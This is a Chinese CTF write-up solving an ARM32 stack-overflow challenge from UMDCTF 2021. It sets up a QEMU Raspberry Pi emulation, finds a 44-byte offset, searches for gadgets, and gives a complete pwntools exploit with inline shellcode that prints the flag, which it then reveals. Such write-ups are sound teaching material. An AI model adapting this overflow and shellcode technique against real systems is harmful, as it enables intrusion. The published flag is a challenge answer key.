0x01 题目类型
arm32 位,栈溢出
题目附件:
链接:https://pan.baidu.com/s/1uZAwyKlQUzTn4mzuusBNsw
提取码:cbwl
0x02 题目描述
0x03 模拟环境搭建:
Ubuntu 21.04 + qemu-system-arm v5.2 + gdb-multiarch +gdb-gef
运行:
qemu-system-arm -M raspi0 -kernel kernel-rpi0-qemu-furor_updated.img -serial null -serial tcp::9001,server,nowait --gdb tcp::9000
这里有个小坑,由于gdb-gef在python 3.9环境中会报type error,所以重新编译python<=3.8即可。nc连接让输入密码
$ nc localhost 9001
You are accessing a secure device...
If you are not authorized, please GTFO.
Password:
gdb调试脚本:
cat <<'EOF' >script
set arch arm
gef-remote -q localhost:9000
EOF
0x04 程序分析
直接用Ghidra打开分析,通过简单分析定位程序功能如下:
![](https://upload-images.jianshu.io/upload_images/3514925-48d0dee36b9557d4.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
在return下断点:
b *0x10414
猜测存在栈溢出:
$ cyclic 100
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
在下断点后看到$pc
寄存器被覆盖:
$ cyclic -l laaa
44
计算便宜,44位。
0x05 漏洞利用
在ghidra 的字符串窗口,看到flag地址
看到主函数中printline 的调用,通过rop将flag显示出来
但是用ropper查看有无可利用的gadget时,程序中并没有合适的。但是并没开启栈保护,因此可以通过shellcode 写入
pop {r0};pop {pc};
。
➜ umdctf2021 ropper -a ARM -r --file kernel-rpi0-qemu-furor_updated.img --search pop
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop
[INFO] File: kernel-rpi0-qemu-furor_updated.img
0x000001e4: pop {r4, r5, r6, pc};
pop {r0};pop {pc};
在网站http://shell-storm.org/online/Online-Assembler-and-Disassembler/对应的shellcode如下:
完整exp如下:
from pwn import *
context.arch = 'arm'
context.log_level = 'debug'
p = remote("chals4.umdctf.io",7000)
# p = remote(localhost,9001)
# p.sendlineafter('exit...',''
p.sendline('')
payload = flat('a'*44)
print_line = 0x103a4
flag = 0x104f0
payload = b''
payload += 44 * b'A'
payload += p32(0x10000 + 0x8) # pc
payload += p32(0x104f0) # flag
payload += p32(0x101f0)
code = [
b"\x04\x00\x9d\xe4", # pop {r0}
b"\x04\xf0\x9d\xe4", # pop {pc}
]
raw = b"".join(code)
payload += raw
# payload += asm('pop {r0}; pop {pc};')
p.sendlineafter('Password: ',payload)
p.recvuntil('exiting')
p.interactive()
log.success(p.recvuntil('}').decode())
得到flag
MDCTF-{ARM_L0V3s_R0P}